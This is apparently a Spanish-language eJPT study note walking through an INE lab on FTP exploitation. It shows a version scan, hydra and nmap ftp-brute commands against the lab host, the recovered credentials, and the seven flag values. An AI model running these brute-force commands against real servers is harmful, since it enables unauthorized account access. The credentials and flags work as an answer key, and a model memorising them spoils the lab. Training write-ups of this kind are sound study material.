> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/linux/explotacion-de-las-vulnerabilidades-de-linux/explotacion-ftp.md).

# Explotación FTP

## 📌 ¿Qué es FTP?

**FTP (File Transfer Protocol)** es un protocolo estándar utilizado para la transferencia de archivos entre un cliente y un servidor.

* 📡 Utiliza el **puerto TCP 21** por defecto.
* 🧭 Frecuentemente se emplea para **subir y descargar archivos** desde la carpeta principal de un **servidor web**.

***

## 🔐 Autenticación en FTP

* FTP requiere un **usuario y contraseña** para iniciar sesión.
* Esto lo convierte en objetivo de **ataques por fuerza bruta** para descubrir credenciales válidas.

***

## 👤 Acceso Anónimo

* Algunos servidores FTP permiten **acceso anónimo**.
* ✅ Esto significa que **cualquier usuario** puede iniciar sesión **sin autenticación** y acceder a archivos del servidor.

***

## ⚔️ Técnicas de explotación

* 🔍 **Enumeración de usuarios** y prueba de acceso con credenciales por defecto.
* 🧨 **Fuerza bruta** con herramientas como `hydra` o `medusa`.
* 🔓 **Acceso anónimo** para explorar archivos públicos o mal configurados.

***

## 🧪Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/pWxCqLHHpwAqofp6aaSK" alt=""><figcaption></figcaption></figure>

**Paso 2:** ¿Cuál es la versión del servidor FTP?

Respuesta: ProFTPD 1.3.5a

**Dominio:**

```
nmap -sV demo.ine.local
```

<figure><img src="/files/cx2ihS8Bd6LCu4b8n2O8" alt=""><figcaption></figcaption></figure>

**Paso 3:** Use el diccionario de nombre de usuario /usr/share/metasploit-framework/data/wordlists/common\_users.txt y el diccionario de contraseñas /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt para comprobar si alguna de estas credenciales funciona en el sistema. Enumere todas las credenciales encontradas.

Respuesta:

```
sysadmin: 654321
rooty: qwerty
demo: butterfly
auditor: chocolate
anon: purple
administrator: tweety
diag: tigger
```

**Dominio:**

```
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt demo.ine.local -t 4 ftp
```

<figure><img src="/files/JUmFmgxjwbCq7LaTTf1j" alt=""><figcaption></figcaption></figure>

**Paso 4:** Encuentra la contraseña del usuario “sysadmin” usando el script nmap.

Respuesta: 654321

**Comandos:**

```
echo "sysadmin" > users
nmap --script ftp-brute --script-args userdb=/root/users -p 21 demo.ine.local
```

<figure><img src="/files/p32wjoAb9RzAqxtYMswU" alt=""><figcaption></figcaption></figure>

**Paso 5:** Encuentra siete banderas ocultas en el servidor.

Respuesta:

```
Flag1: 260ca9dd8a4577fc00b7bd5810298076
Flag2: e529a9cea4a728eb9c5828b13b22844c
Flag3: d6a6bc0db10694a2d90e3a69648f3a03
Flag4: 098f6bcd4621d373cade4e832627b4f6
Flag5: 1bc29b36f623ba82aaf6724fd3b16718
Flag6: 21232f297a57a5a743894a0e4a801fc3
Flag7: 12a032ce9179c32a6c7ab397b9d871fa
```

Solución:

Inicie sesión en el servidor FTP con cada usuario encontrado y recupere la bandera.

**Comandos:**

```
ftp demo.ine.local
Enter username "sysadmin" and password 654321
ls
get secret.txt
exit
cat secret.txt
```

<figure><img src="/files/ApeTEUpdlUZPYDJsS7SZ" alt=""><figcaption></figcaption></figure>

De manera similar, recupere las banderas restantes iniciando sesión en el servidor FTP con las credenciales que se indican a continuación:

```
rooty: qwerty
demo: butterfly
auditor: chocolate
anon: purple
administrator: tweety
diag: tigger
```

<figure><img src="/files/6JASAJjsUJm4QGFFbWew" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZJb2ur4xQejXLj8vAThS" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IWmb8NdyOYPqdnKfVAn3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/lYaZjqgOn00aftFQDl4p" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/n138jLYEcUtrGtAbVCWD" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ylrJXRaE9RHOjGlFL1P5" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, aprendimos los conceptos básicos del reconocimiento del servidor ProFTP.

#### Referencias

1. [proftpd](http://www.proftpd.org/)
2. [Hidra de THC](https://tools.kali.org/password-attacks/hydra)
3. [FTP](https://linux.die.net/man/1/ftp)
4. [Script de Nmap: ftp-brute](https://nmap.org/nsedoc/scripts/ftp-brute.html)
